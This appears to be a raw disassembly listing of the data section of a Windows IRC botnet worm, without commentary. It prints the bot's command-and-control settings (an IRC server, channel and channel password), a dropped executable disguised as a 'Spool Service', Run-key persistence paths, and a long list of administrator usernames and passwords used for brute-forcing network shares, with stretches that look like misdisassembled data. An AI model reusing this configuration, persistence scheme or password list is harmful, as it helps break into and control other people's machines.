95DCF0BEh, 7919B97Ch, 1270B753h, 5DF5h, 0E5710262h dd 36096327h, 3014097Bh, 5ED9761Ah, 2FCCB233h, 0A71AA38Eh dd 9FC100CAh, 0AF6B5CC8h, 14868878h, 10D2h, 0BEh dup(0) dword_429000 dd 0 dd offset loc_40121D dd offset sub_401239 dd offset sub_40D78E dd offset sub_40DAD1 dd offset dword_40ECDC+1CEh dd offset sub_4265A4 dword_42901C dd 0 dword_429020 dd 0 dd offset sub_41D6F2 dd offset sub_4200D2 dd offset sub_422563 dd offset sub_4245B2 dword_429034 dd 0 dword_429038 dd 0 dd offset sub_422608 dword_429040 dd 0 dword_429044 dd 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 45h, 42h, 0 dword_42904C dd 0 dword_429050 dd 78h align 8 dword_429058 dd 80000002h, 429150h, 80000001h, 429180h, 80000001h, 429150h ; DATA XREF: sub_401000+7o dword_429070 dd 6272h, 0C7ABh, 0F51h ; sub_4010C3+Bo dword_42907C dd 7E4h dword_429080 dd 45h ; sub_40B9DD+3Br dword_429084 dd 201h word_429088 dw 7C7h ; DATA XREF: .nsp0:loc_404768r align 4 dword_42908C dd 1 dword_429090 dd 1 byte_429094 db 78h ; DATA XREF: .nsp0:00402580r ; .nsp0:0040263Ar ... align 4 dword_429098 dd 0Ch ; sub_40AC10+5Fr ... dword_42909C dd 1 ; .nsp0:00401DF1r ... aXxerooxx db 'XxerooxX',0 ; DATA XREF: .nsp0:004012B2o ; .nsp0:loc_4044A0o ... align 4 aXxerxx db 'XxerxX',0 ; DATA XREF: .nsp0:loc_40496Fo align 4 aHi db 'hi',0 ; DATA XREF: .nsp0:0040980Co ; .nsp0:004098DBo align 4 aFreee_najd_us db 'freee.najd.us',0 align 4 aMss2 db '#mss2',0 ; DATA XREF: .nsp0:loc_41297Co ; sub_412A79:loc_412A93o ... align 10h aMss2pass db 'mss2pass',0 align 4 aFreee_najd_u_0 db 'freee.najd.us',0 align 4 aMss2_0 db '#mss2',0 align 4 aMss2pass_0 db 'mss2pass',0 align 10h aSpools_exe db 'spools.exe',0 ; DATA XREF: .nsp0:00403B43o ; sub_40B9DD+5Eo ... align 4 aWinntse_bat db 'winntse.bat',0 ; DATA XREF: .nsp0:00412252o aSpoolService db 'Spool Service',0 ; DATA XREF: sub_401000+Eo align 4 aO1 db 'o1',0 ; DATA XREF: .nsp0:0040AC8Eo align 4 aWinntse_dat db 'winntse.dat',0 aI_0 db '+i',0 ; DATA XREF: .nsp0:00409954o align 4 aO1_0 db '#o1',0 ; DATA XREF: .nsp0:00403813o ; .nsp0:00404B58o ... aM db '#M',0 ; DATA XREF: .nsp0:00405EACo align 4 aM_0 db '#M',0 ; DATA XREF: .nsp0:00405BA9o ; .nsp0:00405CF8o align 4 off_429148 dd offset a@k7o_net ; DATA XREF: .nsp0:loc_409868o ; "*@k7o.net" off_42914C dd offset aMircV6_16Khale ; DATA XREF: .nsp0:004023C5r ; .nsp0:00409884o ; "mIRC v6.16 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\Run',0 align 10h aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A702+28o ; sub_41AA26+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A702+D4o ; sub_41AA26+D4o align 10h dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" dd offset aUser_0 ; "USER" align 8 off_429248 dd offset byte_443398 ; DATA XREF: .nsp0:loc_40D8BCr ; .nsp0:0040D8CDo ... dd offset aAdministrato_1 ; "ADMINISTRATOR" dd offset aAdministrator ; "Administrator" dd offset aAdministrato_0 ; "administrator" dd offset aFubar ; "fubar" dd offset aBla ; "bla" dd offset aGuest_1 ; "GUEST" dd offset aRoot_0 ; "ROOT" dd offset aRoot ; "root" dd offset aAdmin_0 ; "ADMIN" dd offset aPassword ; "PASSWORD" dd offset aTemp ; "TEMP" dd offset aShare_0 ; "SHARE" dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_0 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem_0 ; "SYSTEM" dd offset aServer_1 ; "SERVER" dd offset aPepsi ; "pepsi" dd offset aLocal ; "LOCAL" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aChangeme_0 ; "Changeme" dd offset aTemp123 ; "temp123" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a654321 ; "654321" dd offset a54321 ; "54321" dd offset a111 ; "111" dd offset a11111111 ; "11111111" dd offset a88888888 ; "88888888" dd offset aPass_0 ; "pass" dd offset aPasswd ; "passwd" dd offset aDatabase ; "database" dd offset aAbcd ; "abcd" dd offset aAbc123 ; "abc123" dd offset aOracle ; "oracle" dd offset aSybase ; "sybase" dd offset a123qwe ; "123qwe" dd offset aComputer ; "computer" dd offset aInternet ; "Internet" dd offset aSuper ; "super" dd offset a123asd ; "123asd" dd offset aIhavenopass ; "ihavenopass" dd offset aGodblessyou ; "godblessyou" dd offset aEnable ; "enable" dd offset aXp_0 ; "xp" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2600 ; "2600" dd offset a110 ; "110" dd offset a111111 ; "111111" dd offset a121212 ; "121212" dd offset a123123 ; "123123" dd offset a1234qwer ; "1234qwer" dd offset a123abc ; "123abc" dd offset a007 ; "007" dd offset aAlpha ; "alpha" dd offset aPatrick ; "patrick" dd offset aPat ; "pat" dd offset aSex_0 ; "sex" dd offset aGod ; "god" dd offset aFoobar ; "foobar" dd offset aNilez ; "Nilez" dd offset aDevil ; "devil" dd offset aNetdevil ; "netdevil" dd offset aNetDevil ; "net-devil" dd offset a0wned ; "0wned" dd offset aOwned ; "owned" dd offset aIrule ; "irule" dd offset aNetfuck ; "netfuck" dd offset aFucked ; "fucked" dd offset aCrash ; "crash" dd offset aA_0 ; "a" dd offset aAaa ; "aaa" dd offset aAbc ; "abc" dd offset aTest123 ; "test123" dd offset aWin ; "win" dd offset aPc ; "pc" dd offset aAsdf ; "asdf" dd offset aSecret ; "secret" dd offset aQwer ; "qwer" dd offset aYxcv ; "yxcv" dd offset aZxcv ; "zxcv" dd offset aHome ; "home" dd offset aLogin ; "login" dd offset aPwd ; "pwd" dd offset aLove ; "love" dd offset aMypc ; "mypc" dd offset aMypc123 ; "mypc123" dd offset aAdmin123 ; "admin123" dd offset aPw123 ; "pw123" dd offset aMypass ; "mypass" dd offset aMypass123 ; "mypass123" dd offset aPw ; "pw" dd offset aMat ; "Mat" dd offset aMatt ; "Matt" dd offset aMatthew ; "Matthew" dd offset aGobo ; "gobo" dd offset aSatan ; "satan" dd offset aSatanik ; "satanik" dd offset aSatanic ; "satanic" dd offset aSpaceman ; "spaceman" dd offset aHeaven ; "heaven" dd offset aW00t ; "w00t" dd offset a0wn3d ; "0wn3d" dd offset aKiller ; "killer" dd offset aLeet ; "leet" dd offset aL33t ; "l33t" dd offset aL337 ; "l337" dd offset aHacker ; "hacker" dd offset aHax0r ; "hax0r" dd offset aScript ; "script" dd offset aScriptkiddie ; "scriptkiddie" dd offset aKiddie ; "kiddie" dd offset aMirc ; "mirc" dd offset aUwontguessme ; "uwontguessme" dd offset aYouwontguessme ; "youwontguessme" dd offset aGuessme ; "guessme" dd offset asc_42FB78 ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset a0_0 ; "0" dd offset a00 ; "00" dd offset aDeath ; "death" dd offset aTesting ; "testing" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset aAcademia ; "academia" dd offset aAcademic ; "academic" dd offset aAccept ; "accept" dd offset aAccount ; "account" dd offset aAction ; "action" dd offset aAdam ; "adam" dd offset aAdrian ; "adrian" dd offset aAdrianna ; "adrianna" dd offset aAdult ; "adult" dd offset aAerobics ; "aerobics" dd offset aAids ; "aids" dd offset aAirplane ; "airplane" dd offset aAlaska ; "alaska" dd offset aAlbany ; "albany" dd offset aAlbatros ; "albatros" dd offset aAlbert ; "albert" dd offset aAlert ; "alert" dd offset aAlex ; "alex" dd offset aAlexande ; "alexande" dd offset aAlgebra ; "algebra" dd offset aAlias ; "alias" dd offset aAliases ; "aliases" dd offset aAlice ; "alice" dd offset aAlicia ; "alicia" dd offset aAlisa ; "alisa" dd offset aAlison ; "alison" dd offset aAllison ; "allison" dd offset aAllow ; "allow" dd offset aAlphabet ; "alphabet" dd offset aAmadeus ; "amadeus" dd offset aAmanda ; "amanda" dd offset aAmber ; "amber" dd offset aAmerica ; "america" dd offset aAmorphou ; "amorphou" dd offset aAnal ; "anal" dd offset aAnalog ; "analog" dd offset aAnarchis ; "anarchis" dd offset aAnarchy ; "anarchy" dd offset aAnchor ; "anchor" dd offset aAndrea ; "andrea" dd offset aAndroid ; "android" dd offset aAndromac ; "andromac" dd offset aAndy ; "andy" dd offset aAnfo ; "anfo" dd offset aAngela ; "angela" dd offset aAngerine ; "angerine" dd offset aAngie ; "angie" dd offset aAnimal ; "animal" dd offset aAnimals ; "animals" dd offset aAnita ; "anita" dd offset aAnna ; "anna" dd offset aAnne ; "anne" dd offset aAnnette ; "annette" dd offset aAnon ; "anon" dd offset aAnonymou ; "anonymou" dd offset aAnswer ; "answer" dd offset aAnthrax ; "anthrax" dd offset aAnthropo ; "anthropo" dd offset aAnvils ; "anvils" dd offset aAnything ; "anything" dd offset aApollo13 ; "apollo13" dd offset aApril ; "april" dd offset aAria ; "aria" dd offset aAriadne ; "ariadne" dd offset aArlene ; "arlene" dd offset aArmy ; "army" dd offset aArrow ; "arrow" dd offset aArthur ; "arthur" dd offset aArtist ; "artist" dd offset aAsian ; "asian" dd offset aAsshole ; "asshole" dd offset aAthena ; "athena" dd offset aAtmosphe ; "atmosphe" dd offset aAtom ; "atom" dd offset aAttack ; "attack" dd offset aAuthoriz ; "authoriz" dd offset aAztecs ; "aztecs" dd offset aAzure ; "azure" dd offset aBabe ; "babe" dd offset aBaby ; "baby" dd offset aBacchus ; "bacchus" dd offset aBackdoor ; "backdoor" dd offset aBadass ; "badass" dd offset aBailey ; "bailey" dd offset aBall ; "ball" dd offset aBanana ; "banana" dd offset aBananas ; "bananas" dd offset aBandit ; "bandit" dd offset aBank ; "bank" dd offset aBanks ; "banks" dd offset aBarbara ; "barbara" dd offset aBarber ; "barber" dd offset aBare ; "bare" dd offset aBarf ; "barf" dd offset aBaritone ; "baritone" dd offset aBart ; "bart" dd offset aBartman ; "bartman" dd offset aBaseball ; "baseball" dd offset aBasic ; "basic" dd offset aBass ; "bass" dd offset aBassoon ; "bassoon" dd offset aBatch ; "batch" dd offset aBatman ; "batman" dd offset aBeach ; "beach" dd offset aBeammeup ; "beammeup" dd offset aBear ; "bear" dd offset aBeast ; "beast" dd offset aBeater ; "beater" dd offset aBeauty ; "beauty" dd offset aBeaver ; "beaver" dd offset aBecky ; "becky" dd offset aBeethove ; "beethove" dd offset aBegin ; "begin" dd offset aBehead ; "behead" dd offset aBell ; "bell" dd offset aBeloved ; "beloved" dd offset aBenz ; "benz" dd offset aBeowulf ; "beowulf" dd offset aBerkeley ; "berkeley" dd offset aBerlin ; "berlin" dd offset aBerliner ; "berliner" dd offset aBeryl ; "beryl" dd offset aBeta ; "beta" dd offset aBeth ; "beth" dd offset aBetsie ; "betsie" dd offset aBetty ; "betty" dd offset aBeverly ; "beverly" dd offset aBible ; "bible" dd offset aBicamera ; "bicamera" dd offset aBigfoot ; "bigfoot" dd offset aBill ; "bill" dd offset aBinary ; "binary" dd offset aBios ; "bios" dd offset aBird ; "bird" dd offset aBishop ; "bishop" dd offset aBitch ; "bitch" dd offset aBitmap ; "bitmap" dd offset aBitnet ; "bitnet" dd offset aBlack ; "black" dd offset aBlonde ; "blonde" dd offset aBlondie ; "blondie" dd offset aBlood ; "blood" dd offset aBloodaxe ; "bloodaxe" dd offset aBlow ; "blow" dd offset aBlowjob ; "blowjob" dd offset aBlue ; "blue" dd offset aBlues ; "blues" dd offset aBoard ; "board" dd offset aBomb ; "bomb" dd offset aBoner ; "boner" dd offset aBoob ; "boob" dd offset aBoobs ; "boobs" dd offset aBook ; "book" dd offset aBorn ; "born" dd offset aBoyscout ; "boyscout" dd offset aBradley ; "bradley" dd offset aBrandi ; "brandi" dd offset aBrandy ; "brandy" dd offset aBravo ; "bravo" dd offset aBreak ; "break" dd offset aBreast ; "breast" dd offset aBrenda ; "brenda" dd offset aBrian ; "brian" dd offset aBridget ; "bridget" dd offset aBroadway ; "broadway" dd offset aBrothel ; "brothel" dd offset aBrunette ; "brunette" dd offset aBrute ; "brute" dd offset aBrutefor ; "brutefor" dd offset aBulls ; "bulls" dd offset aBullshit ; "bullshit" dd offset aBumbling ; "bumbling" dd offset aBung ; "bung" dd offset aBurgess ; "burgess" dd offset aBurn ; "burn" dd offset aButch ; "butch" dd offset aButt ; "butt" dd offset aButthead ; "butthead" dd offset aCaliforn ; "californ" dd offset aCamille ; "camille" dd offset aCampanil ; "campanil" dd offset aCamping ; "camping" dd offset aCandi ; "candi" dd offset aCandy ; "candy" dd offset aCantor ; "cantor" dd offset aCaptain ; "captain" dd offset aCapture ; "capture" dd offset aCard ; "card" dd offset aCardinal ; "cardinal" dd offset aCaren ; "caren" dd offset aCarla ; "carla" dd offset aCarmen ; "carmen" dd offset aCarol ; "carol" dd offset aCarole ; "carole" dd offset aCarolina ; "carolina" dd offset aCaroline ; "caroline" dd offset aCarrie ; "carrie" dd offset aCarson ; "carson" dd offset aCascades ; "cascades" dd offset aCash ; "cash" dd offset aCastle ; "castle" dd offset aCatherin ; "catherin" dd offset aCatholic ; "catholic" dd offset aCathy ; "cathy" dd offset aCave ; "cave" dd offset aCayuga ; "cayuga" dd offset aCecily ; "cecily" dd offset aCelt ; "celt" dd offset aCeltic ; "celtic" dd offset aCeltics ; "celtics" dd offset aCerulean ; "cerulean" dd offset aChange ; "change" dd offset aCharity ; "charity" dd offset aCharles ; "charles" dd offset aCharlie ; "charlie" dd offset aCharming ; "charming" dd offset aCharon ; "charon" dd offset aChat_0 ; "chat" dd offset aChem ; "chem" dd offset aChemistr ; "chemistr" dd offset aChess ; "chess" dd offset aChester ; "chester" dd offset aChip ; "chip" dd offset aChris ; "chris" dd offset aChristin ; "christin" dd offset aChristy ; "christy" dd offset aCigar ; "cigar" dd offset aCigarett ; "cigarett" dd offset aCindy ; "cindy" dd offset aClass ; "class" dd offset aClasses ; "classes" dd offset aClassic ; "classic" dd offset aClaudia ; "claudia" dd offset aClaymore ; "claymore" dd offset aCleavage ; "cleavage" dd offset aClinton ; "clinton" dd offset aCluster ; "cluster" dd offset aClusters ; "clusters" dd offset aCoast ; "coast" dd offset aCocacola ; "cocacola" dd offset aCocainco ; "cocainco" dd offset aCock ; "cock" dd offset aCode ; "code" dd offset aCodename ; "codename" dd offset aCodeword ; "codeword" dd offset aCoffee ; "coffee" dd offset aCoin ; "coin" dd offset aCoke ; "coke" dd offset aCola ; "cola" dd offset aCold ; "cold" dd offset aCollins ; "collins" dd offset aColor ; "color" dd offset aCombat ; "combat" dd offset aComics ; "comics" dd offset aCommit ; "commit" dd offset aCommrade ; "commrade" dd offset aCompany ; "company" dd offset aComputin ; "computin" dd offset aComrade ; "comrade" dd offset aComrades ; "comrades" dd offset aCondo ; "condo" dd offset aCondom ; "condom" dd offset aConnect ; "connect" dd offset aConnie ; "connie" dd offset aConserva ; "conserva" dd offset aConsole ; "console" dd offset aContinue ; "continue" dd offset aCook ; "cook" dd offset aCookbook ; "cookbook" dd offset aCookie ; "cookie" dd offset aCool ; "cool" dd offset aCooper ; "cooper" dd offset aCopper ; "copper" dd offset aCops ; "cops" dd offset aCopy ; "copy" dd offset aCorneliu ; "corneliu" dd offset aCorrect ; "correct" dd offset aCounters ; "counters" dd offset aCountry ; "country" dd offset aCouscous ; "couscous" dd offset aCowboy ; "cowboy" dd offset aCrack ; "crack" dd offset aCrackpot ; "crackpot" dd offset aCream ; "cream" dd offset aCreate ; "create" dd offset aCreation ; "creation" dd offset aCreature ; "creature" dd offset aCredit ; "credit" dd offset aCreosote ; "creosote" dd offset aCretin ; "cretin" dd offset aCrime ; "crime" dd offset aCriminal ; "criminal" dd offset aCristina ; "cristina" dd offset aCrystal ; "crystal" dd offset aCshrc ; "cshrc" dd offset aCunt ; "cunt" dd offset aCustomer ; "customer" dd offset aCyber_1 ; "cyber" dd offset aCyberpun ; "cyberpun" dd offset aCyberspa ; "cyberspa" dd offset aCynthia ; "cynthia" dd offset aDaemon ; "daemon" dd offset aDaisy ; "daisy" dd offset aDana ; "dana" dd offset aDancer ; "dancer" dd offset aDaniel ; "daniel" dd offset aDanielle ; "danielle" dd offset aDanny ; "danny" dd offset aDapper ; "dapper" dd offset aDark ; "dark" dd offset aDarkaven ; "darkaven" dd offset aData ; "data" dd offset aDave ; "dave" dd offset aDawn ; "dawn" dd offset aDead ; "dead" dd offset aDeathsta ; "deathsta" dd offset aDebbie ; "debbie" dd offset aDeborah ; "deborah" dd offset aDebug ; "debug" dd offset aDecember ; "december" dd offset aDeck ; "deck" dd offset aDefault ; "default" dd offset aDefault_0 ; "DEFAULT" dd offset aDefoe ; "defoe" dd offset aDelta ; "delta" dd offset aDeluge ; "deluge" dd offset aDemocrat ; "democrat" dd offset aDenise ; "denise" dd offset aDennis ; "dennis" dd offset aDesiree ; "desiree" dd offset aDesk ; "desk" dd offset aDesktop ; "desktop" dd offset aDesperat ; "desperat" dd offset aDevelop ; "develop" dd offset aDevice ; "device" dd offset aDial ; "dial" dd offset aDiamond ; "diamond" dd offset aDiana ; "diana" dd offset aDiane ; "diane" dd offset aDice ; "dice" dd offset aDick ; "dick" dd offset aDiehard ; "diehard" dd offset aDiet ; "diet" dd offset aDieter ; "dieter" dd offset aDigital ; "digital" dd offset aDinosaur ; "dinosaur" dd offset aDipshit ; "dipshit" dd offset aDirect ; "direct" dd offset aDirector ; "director" dd offset aDirty ; "dirty" dd offset aDisc ; "disc" dd offset aDiscipli ; "discipli" dd offset aDisclose ; "disclose" dd offset aDiscover ; "discover" dd offset aDisk_0 ; "disk" dd offset aDiskette ; "diskette" dd offset aDisney ; "disney" dd offset aDisplay_0 ; "display" dd offset aDoctor ; "doctor" dd offset aDollar ; "dollar" dd offset aDong ; "dong" dd offset aDoom ; "doom" dd offset aDoom2 ; "doom2" dd offset aDoomii ; "doomii" dd offset aDoomsday ; "doomsday" dd offset aDoonesbu ; "doonesbu" dd offset aDoor ; "door" dd offset aDoors ; "doors" dd offset aDope ; "dope" dd offset aDownload ; "download" dd offset aDragon ; "dragon" dd offset aDrdoom ; "drdoom" dd offset aDrive ; "drive" dd offset aDrought ; "drought" dd offset aDuck ; "duck" dd offset aDude ; "dude" dd offset aDuelist ; "duelist" dd offset aDuke ; "duke" dd offset aDulce ; "dulce" dd offset aDuncan ; "duncan" dd offset aDungeon ; "dungeon" dd offset aDyke ; "dyke" dd offset aEager ; "eager" dd offset aEagle ; "eagle" dd offset aEarth ; "earth" dd offset aEasier ; "easier" dd offset aEasy ; "easy" dd offset aEatme ; "eatme" dd offset aEcho ; "echo" dd offset aEddie ; "eddie" dd offset aEdges ; "edges" dd offset aEdinburg ; "edinburg" dd offset aEdit ; "edit" dd offset aEdition ; "edition" dd offset aEducation ; "education" dd offset aEducatio ; "educatio" dd offset aEdwin ; "edwin" dd offset aEdwina ; "edwina" dd offset aEgghead ; "egghead" dd offset aEiderdow ; "eiderdow" dd offset aEileen ; "eileen" dd offset aEinsiein ; "einsiein" dd offset aEinstein ; "einstein" dd offset aElaine ; "elaine" dd offset aElanor ; "elanor" dd offset aElectron ; "electron" dd offset aElephant ; "elephant" dd offset aElizabet ; "elizabet" dd offset aEllen ; "ellen" dd offset aEmail ; "email" dd offset aEmerald ; "emerald" dd offset aEmily ; "emily" dd offset aEmmanuel ; "emmanuel" dd offset aEnemy ; "enemy" dd offset aEngine ; "engine" dd offset aEngineer ; "engineer" dd offset aEngland ; "england" dd offset aEnglish ; "english" dd offset aEnter ; "enter" dd offset aEnterpri ; "enterpri" dd offset aEnzyme ; "enzyme" dd offset aErenity ; "erenity" dd offset aEric ; "eric" dd offset aErica ; "erica" dd offset aErika ; "erika" dd offset aErin ; "erin" dd offset aErotic ; "erotic" dd offset aErsatz ; "ersatz" dd offset aEstablis ; "establis" dd offset aEstate ; "estate" dd offset aEternity ; "eternity" ; --------------------------------------------------------------------------- clc jmp short loc_429BB5 ; --------------------------------------------------------------------------- align 4 dd offset aEvelyn ; "evelyn" dd offset aExpert ; "expert" dd offset aExplode ; "explode" ; --------------------------------------------------------------------------- fsubr st, st(3) inc edx add ah, cl jmp short loc_429BC9 ; --------------------------------------------------------------------------- align 4 dd offset aExplosiv ; "explosiv" dd offset aExtensio ; "extensio" ; --------------------------------------------------------------------------- lodsb jmp short loc_429BD5 ; --------------------------------------------------------------------------- align 4 movsb jmp short loc_429BD9 ; --------------------------------------------------------------------------- align 4 pushf jmp short loc_429BDD ; --------------------------------------------------------------------------- align 4 xchg eax, esp jmp short loc_429BE1 ; --------------------------------------------------------------------------- align 10h dd offset aFamily ; "family" dd offset aFarad ; "farad" dd offset aFaraday ; "faraday" dd offset aFart ; "fart" dd offset aFast ; "fast" db 64h ; --------------------------------------------------------------------------- loc_429BB5: ; CODE XREF: .nsp0:00429B71j jmp short loc_429BF9 ; --------------------------------------------------------------------------- align 4 dd offset aFeds ; "feds" ; --------------------------------------------------------------------------- push esp jmp short loc_429C01 ; --------------------------------------------------------------------------- align 10h dd offset aFender ; "fender" dd offset aFermat ; "fermat" db 3Ch ; --------------------------------------------------------------------------- loc_429BC9: ; CODE XREF: .nsp0:00429B85j jmp short loc_429C0D ; --------------------------------------------------------------------------- align 4 xor bl, ch inc edx add [eax], ch jmp short near ptr byte_429C15 ; --------------------------------------------------------------------------- align 4 db 20h ; --------------------------------------------------------------------------- loc_429BD5: ; CODE XREF: .nsp0:00429B91j jmp short loc_429C19 ; --------------------------------------------------------------------------- align 4 db 18h ; --------------------------------------------------------------------------- loc_429BD9: ; CODE XREF: .nsp0:00429B95j jmp short near ptr loc_429C19+4 ; --------------------------------------------------------------------------- align 4 db 10h ; --------------------------------------------------------------------------- loc_429BDD: ; CODE XREF: .nsp0:00429B99j jmp short loc_429C21 ; --------------------------------------------------------------------------- align 10h db 8 ; --------------------------------------------------------------------------- loc_429BE1: ; CODE XREF: .nsp0:00429B9Dj jmp short near ptr loc_429C21+4 ; --------------------------------------------------------------------------- align 4 dd offset aFirewall ; "firewall" dd offset aFishers ; "fishers" dd offset aFlakes ; "flakes" dd offset aFloat ; "float" ; --------------------------------------------------------------------------- fsub st(2), st inc edx add ah, dl loc_429BF9: ; CODE XREF: .nsp0:loc_429BB5j jmp far ptr 42h:0EACC0042h ; --------------------------------------------------------------------------- db 0C4h ; --------------------------------------------------------------------------- loc_429C01: ; CODE XREF: .nsp0:00429BBDj jmp far ptr 42h:0EABC0042h ; --------------------------------------------------------------------------- dd offset aFoolproo ; "foolproo" ; --------------------------------------------------------------------------- movsb loc_429C0D: ; CODE XREF: .nsp0:loc_429BC9j jmp far ptr 42h:0EA9C0042h ; --------------------------------------------------------------------------- db 94h byte_429C15 db 0EAh, 42h, 0 ; CODE XREF: .nsp0:00429BD1j db 88h ; --------------------------------------------------------------------------- loc_429C19: ; CODE XREF: .nsp0:loc_429BD5j ; .nsp0:loc_429BD9j jmp far ptr 42h:0EA800042h ; --------------------------------------------------------------------------- db 78h ; --------------------------------------------------------------------------- loc_429C21: ; CODE XREF: .nsp0:loc_429BDDj ; .nsp0:loc_429BE1j jmp far ptr 42h:0EA700042h ; --------------------------------------------------------------------------- dd offset aFornicat ; "fornicat" dd offset aForsythe ; "forsythe" dd offset aFourier ; "fourier" dd offset aFoxtrot ; "foxtrot" dd offset aFrance ; "france" dd offset aFrank ; "frank" dd offset aFreak ; "freak" dd offset aFred ; "fred" dd offset aFree ; "free" dd offset aFreedom ; "freedom" dd offset aFrench ; "french" dd offset aFriday ; "friday" dd offset aFriend ; "friend" dd offset aFriends ; "friends" dd offset aFrighten ; "frighten" dd offset aFrog ; "frog" dd offset aFryguy ; "fryguy" dd offset aFuck ; "fuck" dd offset aFucker ; "fucker" dd offset aFucking ; "fucking" dd offset aFuckme ; "fuckme" dd offset aFuckyou ; "fuckyou" dd offset aFudge ; "fudge" dd offset aFunction ; "function" dd offset aFungible ; "fungible" dd offset aGabriel ; "gabriel" dd offset aGames ; "games" dd offset aGardner ; "gardner" dd offset aGarfield ; "garfield" dd offset aGateway ; "gateway" dd offset aGatherin ; "gatherin" dd offset aGatt ; "gatt" dd offset aGauss ; "gauss" dd offset aGeorge ; "george" dd offset aGerm ; "germ" dd offset aGertrude ; "gertrude" dd offset aGhost ; "ghost" dd offset aGibson ; "gibson" dd offset aGigabyte ; "gigabyte" dd offset aGina ; "gina" dd offset aGinger ; "ginger" dd offset aGirl ; "girl" dd offset aGlacier ; "glacier" dd offset aGold ; "gold" dd offset aGolden ; "golden" dd offset aGolf ; "golf" dd offset aGolfer ; "golfer" dd offset aGood ; "good" dd offset aGorgeous ; "gorgeous" dd offset aGorges ; "gorges" dd offset aGosling ; "gosling" dd offset aGouge ; "gouge" dd offset aGovermen ; "govermen" dd offset aGrades ; "grades" dd offset aGraham ; "graham" dd offset aGrahm ; "grahm" dd offset aGrand ; "grand" dd offset aGrant ; "grant" dd offset aGreat ; "great" dd offset aGreen ; "green" dd offset aGroup ; "group" dd offset aGryphon ; "gryphon" dd offset aGuardian ; "guardian" dd offset aGucci ; "gucci" dd offset aGuess ; "guess" dd offset aGuitar ; "guitar" dd offset aGumption ; "gumption" dd offset aGuntis ; "guntis" dd offset aHack ; "hack" dd offset aHacked ; "hacked" dd offset aHagar ; "hagar" dd offset aHair ; "hair" dd offset aHallowee ; "hallowee" dd offset aHamlet ; "hamlet" dd offset aHamster ; "hamster" dd offset aHandel ; "handel" dd offset aHandily ; "handily" dd offset aHandjob ; "handjob" dd offset aHappenin ; "happenin" dd offset aHard ; "hard" dd offset aHardcore ; "hardcore" dd offset aHarddriv ; "harddriv" dd offset aHarmony ; "harmony" dd offset aHarold ; "harold" dd offset aHarvey ; "harvey" dd offset aHate ; "hate" dd offset aHaven ; "haven" dd offset aHawaii ; "hawaii" dd offset aHead ; "head" dd offset aHeadbang ; "headbang" dd offset aHeat ; "heat" dd offset aHeathen ; "heathen" dd offset aHeather ; "heather" dd offset aHebrides ; "hebrides" dd offset aHeidi ; "heidi" dd offset aHeinlein ; "heinlein" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aHelp ; "help" dd offset aHerb ; "herb" dd offset aHerbert ; "herbert" dd offset aHero ; "hero" dd offset aHeroin ; "heroin" dd offset aHewlett ; "hewlett" dd offset aHexadeci ; "hexadeci" dd offset aHiawatha ; "hiawatha" dd offset aHibernia ; "hibernia" dd offset aHidden ; "hidden" dd offset aHigh ; "high" dd offset aHighland ; "highland" dd offset aHitler ; "hitler" dd offset aHits ; "hits" dd offset aHole ; "hole" dd offset aHolly ; "holly" dd offset aHollywoo ; "hollywoo" dd offset aHomepage ; "homepage" dd offset aHomer ; "homer" dd offset aHomework ; "homework" dd offset aHoney ; "honey" dd offset aHooker ; "hooker" dd offset aHooters ; "hooters" dd offset aHorny ; "horny" dd offset aHorrible ; "horrible" dd offset aHorror ; "horror" dd offset aHorse ; "horse" dd offset aHorus ; "horus" dd offset aHost ; "host" dd offset aHotdog ; "hotdog" dd offset aHotel ; "hotel" dd offset aHttp ; "http" dd offset aHunt ; "hunt" dd offset aHunter ; "hunter" dd offset aHutchins ; "hutchins" dd offset aHydrogen ; "hydrogen" dd offset aHyper ; "hyper" dd offset aHypertxt ; "hypertxt" dd offset aIcecream ; "icecream" dd offset aIllumina ; "illumina" dd offset aImage ; "image" dd offset aImbrogli ; "imbrogli" dd offset aImmortal ; "immortal" dd offset aImperial ; "imperial" dd offset aInclude ; "include" dd offset aIndia ; "india" dd offset aIndian ; "indian" dd offset aIndiana ; "indiana" dd offset aIndians ; "indians" dd offset aIngres ; "ingres" dd offset aIngress ; "ingress" dd offset aIngrid ; "ingrid" dd offset aInna ; "inna" dd offset aInnocuou ; "innocuou" dd offset 